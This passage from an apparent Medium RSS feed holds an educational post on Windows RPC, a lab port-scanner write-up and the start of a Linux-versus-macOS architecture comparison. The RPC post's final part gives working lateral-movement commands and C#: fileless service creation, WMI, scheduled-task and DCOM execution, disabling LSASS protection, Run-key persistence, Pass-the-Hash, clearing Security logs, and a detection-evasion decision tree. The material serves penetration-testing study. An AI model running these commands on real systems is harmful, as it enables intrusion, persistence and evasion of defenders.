RPC hides ALL the network complexity.</pre><h3>Analogy: Phone Call to a Branch Office</h3><pre>LOCAL function call = doing the work yourself:<br>  You walk to the filing cabinet → file the document → done</pre><pre>RPC = calling someone in another office to do it:<br>  You pick up the phone<br>  You say: &quot;Please file document X in folder Y&quot;<br>  The person in the other office files it<br>  They say: &quot;Done, filed successfully&quot;<br>  You hang up<br>  <br>  You never left your desk.<br>  The work happened in the OTHER office.<br>  The RESULT is the same — document is filed.<br>  <br>  Phone line = network connection (TCP)<br>  Your request = serialized function call<br>  Other office doing the work = remote machine executing the function<br>  &quot;Done&quot; = result coming back over the network</pre><h3>Part 2: How RPC Works Technically</h3><h3>The Architecture</h3><pre>YOUR MACHINE (Client)                    REMOTE MACHINE (Server)</pre><pre>┌────────────────────┐                  ┌────────────────────┐<br>│ Your Code          │                  │ Service            │<br>│ SomeFunction(...)  │                  │ (SCM, Registry,    │<br>└────────┬───────────┘                  │  Scheduler, etc.)  │<br>         │                              └────────▲───────────┘<br>         ↓                                       │<br>┌────────────────────┐                  ┌────────────────────┐<br>│ Client Stub        │                  │ Server Stub        │<br>│ (packs parameters  │                  │ (unpacks parameters│<br>│  into bytes)       │                  │  from bytes)       │<br>└────────┬───────────┘                  └────────▲───────────┘<br>         │                                       │<br>         ↓                                       │<br>┌────────────────────┐                  ┌────────────────────┐<br>│ RPC Runtime        │                  │ RPC Runtime        │<br>│ (network layer)    │                  │ (network layer)    │<br>└────────┬───────────┘                  └────────▲───────────┘<br>         │                                       │<br>         ════════════ TCP NETWORK ═══════════════╝</pre><p><strong>Each layer:</strong></p><p>Layer What It Does Analogy <strong>Your code</strong> Calls the function — doesn’t know it’s remote You telling the secretary what to do <strong>Client Stub</strong> Converts parameters → network bytes Writing your request on paper <strong>RPC Runtime</strong> Sends bytes over TCP, receives response The mail system delivering the paper <strong>Server Stub</strong> Converts network bytes → parameters Secretary reading the paper <strong>Service</strong> Runs the function locally, returns result Secretary doing the work</p><h3>Serialization (Marshaling)</h3><pre>Your code has: function parameters (strings, numbers, structures)<br>The network needs: raw bytes (0s and 1s)</pre><pre>Serialization = converting parameters to bytes for network transmission</pre><pre>  Example: OpenSCManager(&quot;appsrv01&quot;, null, 0xF003F)<br>  <br>  Serialized into bytes:<br>    &quot;appsrv01&quot; → 61 70 70 73 72 76 30 31 00<br>    null       → 00 00 00 00<br>    0xF003F    → 3F 00 0F 00<br>    + headers: which function, sequence number, auth data<br>  <br>  Bytes travel over TCP → remote machine deserializes → runs the function.</pre><h3>Part 3: RPC Ports — How Connections Work</h3><h3>The Two-Step Connection</h3><pre>RPC uses TWO connections to reach a service:</pre><pre>  Step 1: Port 135 — &quot;Where is the service I want?&quot;<br>  Step 2: Dynamic port — &quot;Now I&#39;ll talk to the actual service&quot;</pre><h3>Port 135: The Endpoint Mapper (EPM)</h3><pre>Every Windows machine runs the Endpoint Mapper on port 135.<br>It&#39;s a DIRECTORY of all RPC services on that machine.</pre><pre>Think of it as a hotel switchboard:<br>  You call the hotel main number (port 135)<br>  &quot;I&#39;d like to speak to Room Service please&quot;<br>  Switchboard: &quot;Room Service is on extension 49287&quot;<br>  You&#39;re transferred to extension 49287<br>  You talk directly to Room Service</pre><pre>The EPM does the same thing:<br>  Your code connects to port 135<br>  &quot;I want the Service Control Manager&quot;<br>  EPM: &quot;SCM is on port 49287 right now&quot;<br>  Your code connects to port 49287<br>  Talks directly to SCM</pre><h3>Dynamic Ports (49152–65535)</h3><pre>Each RPC service listens on a RANDOM port in this range.<br>The port can CHANGE every time the service or machine restarts.<br>That&#39;s why you need the EPM — it always knows the CURRENT port.</pre><pre>  Right now:    SCM on port 49287, Registry on port 49301<br>  After reboot: SCM on port 49512, Registry on port 49198<br>  Next day:     SCM on port 49103, Registry on port 49445<br>  <br>  The EPM always knows which port each service is on RIGHT NOW.</pre><h3>The Complete Connection Flow</h3><pre>YOUR MACHINE                                REMOTE MACHINE</pre><pre>① DNS resolve: &quot;appsrv01&quot; → 192.168.120.6<br>      │<br>      ↓<br>② TCP connect to 192.168.120.6:135 ──────→ EPM listening<br>   &quot;I want SCM (UUID: 367ABB81-...)&quot;      │<br>      │                                    ↓<br>      │                              EPM looks up UUID<br>      │                              &quot;SCM is on port 49287&quot;<br>   ←── &quot;Use port 49287&quot; ────────────────────<br>      │<br>      ↓<br>③ TCP connect to 192.168.120.6:49287 ────→ SCM listening<br>      │                                    │<br>      ↓                                    ↓<br>④ Authentication ←─────────────────────→ Validate credentials<br>      │<br>      ↓<br>⑤ Function calls flow freely ←─────────→ Service processes requests</pre><h3>Part 4: RPC Authentication</h3><h3>How the Remote Machine Knows It’s You</h3><p>When you call a remote RPC function, Windows AUTOMATICALLY handles authentication using your current session’s credentials. You write zero authentication code.</p><pre>SCENARIO 1: Normal Domain Login (Kerberos — most common)<br>  You&#39;re logged in as corp1\admin (normal login).<br>  Your code calls OpenSCManager(&quot;appsrv01&quot;, ...)<br>  <br>  Windows automatically:<br>    ① Requests a Service Ticket from the Domain Controller<br>    ② DC gives a ticket encrypted with appsrv01&#39;s hash<br>    ③ Ticket presented to appsrv01 → validated → authenticated ✅<br>  <br>  You wrote ZERO authentication code.<br></pre><pre>SCENARIO 2: Pass the Hash (Mimikatz — attacker technique)<br>  You used Mimikatz: sekurlsa::pth /user:admin /ntlm:2892D26C...<br>  Your code calls OpenSCManager(&quot;appsrv01&quot;, ...) — SAME code!<br>  <br>  Windows automatically:<br>    ① Uses NTLM challenge-response with the INJECTED hash<br>    ② appsrv01 validates → authenticated ✅<br>  <br>  Same code. Different credentials. Transparent.<br></pre><pre>SCENARIO 3: Explicit Credentials<br>  net use \\appsrv01\IPC$ /user:corp1\admin Password123<br>  → Establishes an authenticated session<br>  → All subsequent RPC calls to appsrv01 use this session</pre><h3>Part 5: Everything That Uses RPC</h3><h3>RPC is EVERYWHERE in Windows Networking</h3><p>Almost every remote administration task in Windows uses RPC internally. When you use ANY of these tools, RPC handles the communication:</p><h3>Service Management (SCM — Service Control Manager)</h3><pre>What: Create, start, stop, delete, query Windows services remotely<br>API: OpenSCManager, CreateService, StartService, DeleteService<br>Tool: sc.exe, services.msc</pre><pre>Examples:<br>  sc \\server01 query Spooler         → &quot;Is Print Spooler running?&quot;<br>  sc \\server01 stop Spooler          → stop the service remotely<br>  sc \\server01 create MySvc binpath= &quot;C:\app.exe&quot;  → create service<br>  sc \\server01 start MySvc           → start the service<br>  sc \\server01 delete MySvc          → delete the service<br>  services.msc → connect to another computer → manage all services via GUI</pre><pre>Internal flow:<br>  sc \\server01 query Spooler<br>    → RPC to port 135 → &quot;Where is SCM?&quot;<br>    → Connect to SCM on dynamic port<br>    → Call QueryServiceStatus(&quot;Spooler&quot;)<br>    → Response: &quot;Running&quot;</pre><h3>Registry Management (Remote Registry)</h3><pre>What: Read, write, create, delete registry keys on remote machines<br>API: RegConnectRegistry, RegOpenKeyEx, RegQueryValueEx, RegSetValueEx<br>Tool: reg.exe, regedit.exe</pre><pre>Examples:<br>  reg query \\server01\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion<br>    → read registry values on server01</pre><pre>  reg add \\server01\HKLM\...\Lsa /v RunAsPPL /t REG_DWORD /d 0<br>    → disable PPL on server01 remotely</pre><pre>  reg add \\server01\HKLM\...\WDigest /v UseLogonCredential /t REG_DWORD /d 1<br>    → enable WDigest on server01 </pre><pre>  regedit.exe → File → Connect Network Registry → browse remote registry via GUI</pre><pre>Internal flow:<br>  reg query \\server01\HKLM\...<br>    → RPC to port 135 → &quot;Where is Remote Registry service?&quot;<br>    → Connect on dynamic port<br>    → Call RegOpenKeyEx + RegQueryValueEx<br>    → Response: registry values</pre><h3>Scheduled Tasks (Task Scheduler)</h3><pre>What: Create, run, delete, query scheduled tasks on remote machines<br>API: SchRpcRegisterTask, SchRpcRun, SchRpcDelete<br>Tool: schtasks.exe, Task Scheduler GUI</pre><pre>Examples:<br>  schtasks /create /s server01 /tn &quot;Backup&quot; /tr &quot;C:\backup.bat&quot; /sc daily /st 02:00<br>    → create a daily task on server01</pre><pre>  schtasks /run /s server01 /tn &quot;Backup&quot;<br>    → run the task immediately on server01</pre><pre>  schtasks /query /s server01<br>    → list all scheduled tasks on server01</pre><pre>  schtasks /delete /s server01 /tn &quot;Backup&quot;<br>    → delete the task on server01</pre><pre>Internal flow:<br>  schtasks /create /s server01 ...<br>    → RPC to port 135 → &quot;Where is Task Scheduler?&quot;<br>    → Connect on dynamic port<br>    → Call SchRpcRegisterTask(...)<br>    → Task created on server01</pre><h3>WMI (Windows Management Instrumentation)</h3><pre>What: Query system information, manage hardware/software, execute commands remotely<br>API: IWbemServices interface (COM/DCOM over RPC)<br>Tool: wmic.exe, PowerShell Get-WmiObject / Get-CimInstance</pre><pre>Examples:<br>  wmic /node:server01 process list brief<br>    → list all processes on server01</pre><pre>  wmic /node:server01 process call create &quot;cmd.exe /c whoami &gt; C:\output.txt&quot;<br>    → EXECUTE A COMMAND on server01 remotely!</pre><pre>  wmic /node:server01 os get caption,version<br>    → get OS name and version of server01</pre><pre>  PowerShell:<br>  Get-WmiObject -Class Win32_OperatingSystem -ComputerName server01<br>    → query OS info via PowerShell</pre><pre>  Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList &quot;calc.exe&quot; -ComputerName server01<br>    → launch calc.exe on server01</pre><pre>Internal flow:<br>  wmic /node:server01 process call create &quot;cmd.exe&quot;<br>    → RPC/DCOM to port 135 → &quot;Where is WMI?&quot;<br>    → Connect on dynamic port<br>    → Call Win32_Process.Create(&quot;cmd.exe&quot;)<br>    → cmd.exe runs on server01</pre><h3>User and Group Management (SAM/LSA)</h3><pre>What: Create users, change passwords, manage groups on remote machines<br>API: NetUserAdd, NetUserDel, NetGroupAddUser, NetLocalGroupAddMembers<br>Tool: net.exe</pre><pre>Examples:<br>  net user /domain<br>    → list all domain users (queries Domain Controller via RPC)</pre><pre>  net user newadmin Password123! /add /domain<br>    → create a domain user (RPC to Domain Controller)</pre><pre>  net localgroup Administrators newadmin /add<br>    → add user to local Admins group</pre><pre>  net user admin * /domain<br>    → change domain user&#39;s password (RPC to DC)</pre><pre>  net group &quot;Domain Admins&quot; /domain<br>    → list Domain Admins group members</pre><pre>Internal flow:<br>  net user /domain<br>    → RPC to Domain Controller port 135<br>    → Connect to SAM/LSA service on dynamic port<br>    → Call NetUserEnum<br>    → Response: list of all domain users</pre><h3>Print Management (Print Spooler)</h3><pre>What: Manage printers, print queues, printer drivers remotely<br>API: OpenPrinter, AddPrinter, EnumPrinters<br>Tool: printmanagement.msc, PowerShell</pre><pre>Examples:<br>  wmic /node:server01 printer list brief<br>    → list printers on server01</pre><pre>  rundll32 printui.dll,PrintUIEntry /if /b &quot;Remote Printer&quot; /s \\server01 /r ...<br>    → add a printer from server01</pre><pre>Internal flow:<br>  → RPC to port 135 → &quot;Where is Print Spooler?&quot;<br>  → Connect on dynamic port<br>  → Call EnumPrinters / OpenPrinter</pre><h3>File Sharing (SMB — Uses RPC for Management)</h3><pre>SMB itself uses port 445 for file transfer.<br>But MANAGING file shares uses RPC:</pre><pre>  net share<br>    → list shares on local machine</pre><pre>  net view \\server01<br>    → list shares on server01 (RPC to enumerate shares)</pre><pre>  net share myshare=C:\Data /grant:everyone,full<br>    → create a share (local SCM/server service via RPC)</pre><pre>The administrative shares (ADMIN$, C$, IPC$) are accessed via SMB (445)<br>but discovered/enumerated via RPC or SMB browser protocol.</pre><pre>IPC$ share is SPECIAL:<br>  → &quot;Inter-Process Communication&quot; share<br>  → No files — used for RPC named pipe communication!<br>  → When you connect to \\server01\IPC$ → you&#39;re opening an RPC channel<br>  → PsExec, sc.exe, schtasks.exe all use IPC$ internally</pre><pre>  net use \\server01\IPC$ /user:admin password<br>    → establishes RPC authentication session<br>    → now sc.exe, schtasks.exe, reg.exe work against server01</pre><h3>Event Log (Remote Event Viewer)</h3><pre>What: Read, query, clear event logs on remote machines<br>API: EvtOpenSession, EvtQuery, EvtClearLog<br>Tool: wevtutil.exe, Event Viewer GUI</pre><pre>Examples:<br>  wevtutil qe Security /r:server01 /c:10<br>    → read last 10 Security events from server01</pre><pre>  wevtutil cl Security /r:server01<br>    → CLEAR the Security log on server01 (covering tracks!)</pre><pre>  Event Viewer → right-click → Connect to Another Computer</pre><pre>Internal flow:<br>  → RPC to port 135 → &quot;Where is Event Log service?&quot;<br>  → Connect on dynamic port<br>  → Call EvtQuery / EvtClearLog</pre><h3>DCOM (Distributed COM)</h3><pre>What: Instantiate and use COM objects on remote machines<br>API: CoCreateInstanceEx (creates COM object on remote machine)<br>Tool: PowerShell, custom code</pre><pre>Example (lateral movement with Excel):<br>  $excel = [activator]::CreateInstance(<br>    [type]::GetTypeFromProgID(&quot;Excel.Application&quot;, &quot;server01&quot;))<br>  $excel.Run(&quot;MyMacro&quot;)<br>  → Creates an Excel instance on server01 → runs a macro!</pre><pre>DCOM is COM objects + RPC:<br>  COM = Component Object Model (local objects)<br>  DCOM = Distributed COM (remote objects over RPC)<br>  <br>  Used for lateral movement in advanced attacks.</pre><h3>Summary: All Windows Remote Management = RPC</h3><pre>┌─────────────────────────────────────────────────────────────────┐<br>│                    PORT 135 (RPC Endpoint Mapper)               │<br>│                    &quot;Directory of all RPC services&quot;              │<br>│                                                                 │<br>│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐           │<br>│  │ SCM          │  │ Task         │  │ WMI          │           │<br>│  │ (Services)   │  │ Scheduler    │  │ (System      │           │<br>│  │              │  │              │  │  Management) │           │<br>│  │ sc.exe       │  │ schtasks.exe │  │ wmic.exe     │           │<br>│  │ PsExec       │  │              │  │ PowerShell   │           │<br>│  │ services.msc │  │              │  │              │           │<br>│  │ :49287       │  │ :49301       │  │ :49315       │           │<br>│  └──────────────┘  └──────────────┘  └──────────────┘           │<br>│                                                                 │<br>│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐           │<br>│  │ Remote       │  │ Print        │  │ SAM / LSA    │           │<br>│  │ Registry     │  │ Spooler      │  │ (Users &amp;     │           │<br>│  │              │  │              │  │  Groups)     │           │<br>│  │ reg.exe      │  │ printers     │  │ net.exe      │           │<br>│  │ regedit.exe  │  │ PrintSpoofer │  │ Mimikatz     │           │<br>│  │ :49330       │  │ :49342       │  │ DCSync       │           │<br>│  └──────────────┘  └──────────────┘  │ :49355       │           │<br>│                                      └──────────────┘           │<br>│  ┌──────────────┐  ┌──────────────┐                             │<br>│  │ Event Log    │  │ DCOM         │                             │<br>│  │              │  │ (Remote COM) │                             │<br>│  │ wevtutil.exe │  │              │                             │<br>│  │ Event Viewer │  │ PowerShell   │                             │<br>│  │ :49368       │  │ :49380       │                             │<br>│  └──────────────┘  └──────────────┘                             │<br>│                                                                 │<br>│  ALL services: port 135 to find them → dynamic port to talk     │<br>│  ALL require: authentication (Kerberos or NTLM)                 │<br>│  ALL require: appropriate permissions on the target             │<br>└─────────────────────────────────────────────────────────────────┘</pre><h3>Part 6: Firewall and Network Requirements</h3><pre>For ANY RPC-based remote management:</pre><pre>  Port 135 (TCP): RPC Endpoint Mapper<br>    → MUST be open → otherwise can&#39;t find any service<br>    → Open by default on domain networks</pre><pre>  Dynamic ports (TCP 49152-65535): Actual services<br>    → MUST be open → otherwise function calls fail<br>    → Open by default for domain profile in Windows Firewall</pre><pre>  Port 445 (TCP): SMB<br>    → Needed for: file sharing, PsExec file upload, IPC$ named pipes<br>    → NOT needed for: pure RPC calls (fileless lateral movement)</pre><pre>Common firewall configurations:<br>  Domain network:    135 + dynamic + 445 → all OPEN ✅<br>  Private network:   135 + dynamic → usually OPEN<br>  Public network:    most ports CLOSED ❌<br>  Across VLANs:     depends on firewall rules (often restricted)<br>  <br>  Blocking RPC = blocking ALL remote administration → rarely done<br>  This is why RPC-based lateral movement is so effective</pre><h3>Part 7: RPC for Lateral Movement (Attack Perspective)</h3><blockquote><em>📌 </em><strong><em>Everything above is how Windows administrators manage machines daily. Attackers use the EXACT same RPC calls with STOLEN credentials. Same tools, same protocols, same ports. The difference: the credentials were stolen, not legitimately obtained.</em></strong></blockquote><h3>Why RPC is Perfect for Lateral Movement</h3><pre>① Built-in: RPC is native to Windows → no tools to upload<br>② Trusted: RPC traffic is NORMAL on corporate networks → blends in<br>③ Universal: every Windows machine supports RPC → works everywhere<br>④ Powerful: can create services, tasks, users, modify registry → full control<br>⑤ Authenticated: uses Kerberos/NTLM → Pass the Hash works<br>⑥ Multiple methods: if one is blocked, try another (SCM, WMI, Task, DCOM)</pre><h3>All RPC-Based Lateral Movement Techniques</h3><h3>Method 1: SCM — Service Creation (PsExec / Fileless)</h3><pre>Two variants:</pre><pre>FILE-BASED (PsExec — traditional):<br>  ① SMB: upload PSEXESVC.exe to \\target\ADMIN$ (port 445)<br>  ② RPC: CreateService pointing to the uploaded file (port 135+dynamic)<br>  ③ RPC: StartService → file executes<br>  → File on disk → AV detects ❌</pre><pre>FILELESS (custom tool):<br>  ① RPC: CreateService with binPath = &quot;cmd.exe /c powershell -enc ...&quot; (port 135+dynamic)<br>  ② RPC: StartService → command executes in memory<br>  → Nothing on disk → AV can&#39;t detect ✅<br>  → Port 445 NOT needed (no file to upload!)</pre><pre>// Fileless C# implementation:<br>IntPtr SCM = OpenSCManager(&quot;target&quot;, null, 0xF003F);<br>IntPtr svc = CreateService(SCM, &quot;SensorService&quot;, &quot;SensorService&quot;,<br>    0xF01FF, 0x10, 0x3, 0x1,<br>    &quot;cmd.exe /c powershell -enc JABTA2...&quot;,    // command as binPath<br>    null, IntPtr.Zero, null, null, null);<br>StartService(svc, 0, null);    // payload runs as SYSTEM!<br>DeleteService(svc);            // cleanup</pre><pre>REM Or with sc.exe (built-in):<br>sc \\target create SensorService binpath= &quot;cmd.exe /c powershell -enc JABTA2...&quot;<br>sc \\target start SensorService<br>sc \\target delete SensorService</pre><h3>Method 2: WMI — Process Creation</h3><pre>wmic /node:target process call create &quot;cmd.exe /c powershell -enc JABTA2...&quot;<br>→ Creates a process on the target → payload runs<br>→ No service created → different Event Log entries<br>→ Uses DCOM/RPC (port 135 + dynamic)</pre><pre># PowerShell equivalent:<br>Invoke-WmiMethod -Class Win32_Process -Name Create `<br>  -ArgumentList &quot;cmd.exe /c powershell -enc JABTA2...&quot; `<br>  -ComputerName target</pre><pre>Advantage over SCM method:<br>  → No service installed (no Event ID 7045)<br>  → Different detection signature → might bypass EDR rules for service creation<br>  → Process creation IS logged (Event ID 4688) but less suspicious</pre><pre>Disadvantage:<br>  → Process runs as the AUTHENTICATED USER (not SYSTEM)<br>  → SCM method runs as SYSTEM by default</pre><h3>Method 3: Scheduled Task Creation</h3><pre>schtasks /create /s target /tn &quot;WindowsUpdate&quot; /tr &quot;cmd.exe /c powershell -enc JABTA2...&quot; /sc once /st 00:01 /ru SYSTEM<br>schtasks /run /s target /tn &quot;WindowsUpdate&quot;<br>schtasks /delete /s target /tn &quot;WindowsUpdate&quot; /f</pre><pre>Advantage:<br>  → Task runs as SYSTEM (/ru SYSTEM)<br>  → Different detection signature (task creation, not service)<br>  → Task name &quot;WindowsUpdate&quot; looks legitimate</pre><pre>Disadvantage:<br>  → Task creation logged (Event ID 4698)<br>  → Some EDR products monitor scheduled task creation</pre><h3>Method 4: Remote Registry Modification</h3><pre>REM Enable WDigest (capture plaintext passwords on next login):<br>reg add \\target\HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1</pre><pre>REM Disable PPL (allow Mimikatz to dump LSASS):<br>reg add \\target\HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0</pre><pre>REM Add Run key for persistence:<br>reg add \\target\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d &quot;C:\Windows\Tasks\payload.exe&quot;</pre><pre>REM Enable Restricted Admin for RDP PtH:<br>reg add \\target\HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0</pre><pre>Not code execution directly — but enables other attacks:<br>  → Enable WDigest → next login captures plaintext <br>  → Disable PPL → Mimikatz can dump LSASS <br>  → Run key → persistence after reboot<br>  → Restricted Admin → enables RDP Pass the Hash </pre><h3>Method 5: DCOM — Remote COM Object</h3><pre># Create an Excel instance on the remote machine and run a macro:<br>$com = [activator]::CreateInstance(<br>    [type]::GetTypeFromProgID(&quot;Excel.Application&quot;, &quot;target&quot;))<br>$com.DisplayAlerts = $false<br>$com.DDEInitiate(&quot;cmd&quot;, &quot;/c powershell -enc JABTA2...&quot;)</pre><pre>Advantage:<br>  → Very uncommon → SOC analysts may not watch for DCOM-based execution<br>  → Different logs than SCM or WMI<br>  <br>Disadvantage:<br>  → Requires specific COM objects to be available on target<br>  → More complex implementation<br>  → Some COM objects may not be enabled</pre><h3>All Lateral Movement Methods Compared</h3><p>Method RPC Service Used Runs As Port 445 Needed? Detection <strong>PsExec (file-based)</strong> SCM SYSTEM YES (upload file) HIGH — known pattern <strong>Fileless SCM</strong> SCM SYSTEM NO (RPC only) LOW — no file, no known pattern <strong>WMI process create</strong> WMI/DCOM Authenticated user NO MEDIUM — process creation logged <strong>Scheduled Task</strong> Task Scheduler SYSTEM (configurable) NO MEDIUM — task creation logged <strong>Remote Registry</strong> Remote Registry N/A (no execution) NO LOW — registry changes not always monitored <strong>DCOM</strong> DCOM Varies NO LOW — uncommon, rarely monitored</p><h3>The Decision Tree</h3><pre>You have admin credentials for the target. Which method?</pre><pre>  ① Is port 445 open AND stealth doesn&#39;t matter?<br>     → PsExec (simplest, fastest)</pre><pre>  ② Need stealth AND want SYSTEM?<br>     → Fileless SCM (no file on disk, runs as SYSTEM)</pre><pre>  ③ SCM is monitored by EDR?<br>     → WMI process create (different detection signature)</pre><pre>  ④ WMI is also monitored?<br>     → Scheduled Task (yet another signature)</pre><pre>  ⑤ Everything is monitored?<br>     → DCOM (rarely monitored, uncommon)<br>     → Remote Registry (prep for other attacks)</pre><pre>  They ALL use RPC. Same port 135. Same authentication.<br>  Different detection signatures.<br>  If one is blocked → try the next → they all work over RPC.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d5f603934a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Magnum Scanner]]></title>
            <link>https://medium.com/@ashrafal3oni/magnum-scanner-bde5cda2d2d3?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/bde5cda2d2d3</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[tools]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 07:09:49 GMT</pubDate>
            <atom:updated>2025-12-24T07:09:49.914Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Magnum Scanner 🏎️</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyU9Zwt4_wHCPfTaSLifpA.jpeg" /></figure><p><strong>#Baseline once. Watch always. Pivot fast. (HTB / THM / OSCP)</strong></p><p>In labs and exam-style environments, scanning is rarely “one and done”.</p><p>You scan a target and see a set of open ports.</p><p>You rescan later and get different ports.</p><p>You start doubting your tooling — but often the <strong>target (or the network) changed</strong>.</p><p>That’s why I built <strong>Magnum Scanner</strong>: a practical workflow that creates a <strong>baseline</strong>, then keeps <strong>watching</strong> for changes and <strong>auto-deep-scans</strong> anything new — with alerts.</p><p><strong>#Why ports can change (and it’s not your fault)</strong></p><p>In HTB/THM/OSCP-style networks, port results can differ because of:</p><p>- <strong>Services restarting / crashing</strong> (common on Windows)</p><p>- <strong>Your actions triggering services</strong> (auth, web requests, exploitation side-effects)</p><p>- <strong>VPN jitter / packet loss / rate limiting</strong> (especially at peak times)</p><p>- <strong>ICMP blocked</strong> → Nmap says “Host seems down” unless you use `-Pn`</p><p>So instead of treating scanning as a single step, treat it as <strong>continuous recon</strong>.</p><p><strong># What Magnum does (in one sentence)</strong></p><p><strong>Baseline → Watch → Alert → Deep scan new ports</strong></p><p>It’s designed to be OSCP-friendly:</p><p>- readable `.nmap` outputs</p><p>- clean folder structure per target</p><p>- fast pivots when something changes</p><p><strong># What you get</strong></p><p><strong># ✅ Baseline you can trust</strong></p><p>- Fast TCP discovery with <strong>Masscan</strong></p><p>- Full TCP confirmation + service detection with <strong>Nmap</strong> (`-sS -sC -sV`, OSCP-style output)</p><p><strong># 🚨 Alerts when a new port appears</strong></p><p>- Beep</p><p>- macOS notification</p><p>- includes <strong>port + short service hint</strong> (example: <em>*“HTTP on 8080”*</em>)</p><p><strong># 🔍 Deep scan (only the new port)</strong></p><p>Instead of rescanning everything, Magnum:</p><p>- deep-scans only the new port</p><p>- saves results under `nmap/new_ports/`</p><p>If the port looks web-ish (80/443/8080/8443…), Magnum also runs an <strong>HTTP-focused scan</strong>.</p><p><strong># Clean output structure (per target)</strong></p><p>Everything is stored inside:</p><pre>./scans/&lt;TARGET&gt;/<br>Key folders:<br>- `masscan/` (baseline + rescans)<br>- `nmap/` (baseline + change reports)<br>- `nmap/new_ports/` (deep scans on new ports)<br>- `logs/` (baseline ports, change history, alerts)</pre><p>This makes it easy to keep OSCP notes tidy.</p><p>— -</p><p><strong># How I use it (simple HTB/OSCP routine)</strong></p><p>Start watch mode (rescan every 3 minutes):</p><pre>./magnum.sh 10.10.10.172 3 - iface utun4 - outdir &quot;$(pwd)&quot;</pre><p>Then I just work normally (web enum, SMB, creds, exploits).</p><p>If a new port appears, Magnum alerts me and drops a deep scan in `new_ports/.</p><p><strong># When Magnum helps most</strong></p><p>- Targets with <strong>**flaky VPN / packet loss**</strong></p><p>- Labs where services <strong>**appear later**</strong></p><p>- During exploitation, when you want <strong>**early warning**</strong></p><p>- When you want <strong>**consistent, readable Nmap outputs**</strong> without manual rescans</p><p><strong>#Final thought</strong></p><p>Most people scan once at the start.</p><p>Real reconnaissance is continuous:</p><p><strong>*Baseline once. Watch always. Pivot fast.*</strong></p><p>That’s Magnum Scanner.</p><p>&gt; Repo (add yours here): <a href="https://github.com/ashrafmohammedsalih/Magnum-Scanner">https://github.com/ashrafmohammedsalih/Magnum-Scanner</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bde5cda2d2d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Linux vs. macOS: Architecture and Portability Comparison]]></title>
            <link>https://medium.com/@ashrafal3oni/%EF%B8%8F-linux-vs-macos-architecture-and-portability-comparison-952872411e21?source=rss-ef50fd1a477f------2</link>
            <guid isPermaLink="false">https://medium.com/p/952872411e21</guid>
            <category><![CDATA[operation-systems]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[macos]]></category>
            <dc:creator><![CDATA[Ashraf Mohammed]]></dc:creator>
            <pubDate>Tue, 27 May 2025 06:32:06 GMT</pubDate>
            <atom:updated>2025-05-27T06:32:06.478Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔰 Introduction</h3><p>Operating systems are built upon architectural foundations that define how they interact with hardware, users, applications, and resources. One of the most important aspects of an OS architecture is <strong>portability</strong> — the ability to run on different CPU architectures (like x86, ARM, etc.).</p><p>This document provides a side-by-side comparison of <strong>Linux</strong> and <strong>macOS</strong>, focusing on their <strong>architecture models</strong> and <strong>hardware portability</strong> characteristics.</p><h3>🧠 What Is OS Architecture?</h3><p>An operating system architecture includes:</p><ul><li>The <strong>kernel type</strong> (monolithic, microkernel, hybrid)</li><li>How <strong>user space and system space</strong> are separated</li><li>The <strong>way system calls</strong> are handled</li><li>How the OS <strong>manages processes, memory, drivers, I/O, and hardware</strong></li></ul><h3>🐧 Linux Architecture Overview</h3><p>Linux follows a <strong>monolithic kernel</strong> architecture with <strong>modular capabilities</strong>, offering performance and flexibility.</p><h3>🔹 High-Level Structure:</h3><pre>+------------------------+<br>|   User Applications    |<br>+------------------------+<br>|   Shell / GUI / CLI    |<br>+------------------------+<br>|      System Calls      |<br>+------------------------+<br>|        Kernel          |<br>|   (Monolithic Core)    |<br>+------------------------+<br>|        Hardware         |<br>+------------------------+</pre><h3>🔹 Key Components:</h3><ul><li><strong>Kernel Space</strong>:</li><li>Monolithic kernel handles everything: processes, memory, networking, I/O, filesystems.</li><li>Supports runtime loadable modules (device drivers, filesystems).</li><li><strong>User Space</strong>:</li><li>Includes apps, shells (bash, zsh), and GUIs (GNOME, KDE).</li><li>Communicates with kernel via system calls (fork(), open(), read()...).</li></ul><h3>🔹 Notable Features:</h3><ul><li>True multiuser &amp; multitasking support</li><li>Secure, open-source, and highly customizable</li><li>Used in everything from servers to smartphones and embedded systems</li></ul><h3>🍎 macOS Architecture Overview</h3><p>macOS uses a <strong>hybrid architecture</strong>, combining:</p><ul><li><strong>Mach microkernel</strong> for low-level kernel functions (IPC, scheduling)</li><li><strong>BSD subsystem</strong> for POSIX compliance, filesystems, user/process management</li><li><strong>IOKit</strong> (in C++) for hardware driver support</li></ul><h3>🔹 High-Level Structure:</h3><pre>+------------------------------+<br>|  Applications (Safari, Xcode)|<br>+------------------------------+<br>|     Frameworks / Cocoa       |<br>+------------------------------+<br>|     Core Services Layer      |<br>+------------------------------+<br>|         Kernel (XNU)         |<br>|     (Mach + BSD + IOKit)     |<br>+------------------------------+<br>|           Hardware           |<br>+------------------------------+</pre><h3>🔹 Notable Features:</h3><ul><li>Proprietary but based on open-source <strong>Darwin</strong></li><li>High-performance UI frameworks (CoreGraphics, Metal, AppKit)</li><li>Secure by design (code signing, sandboxing)</li><li>Designed to integrate tightly with Apple hardware</li></ul><h3>🔄 Portability Across 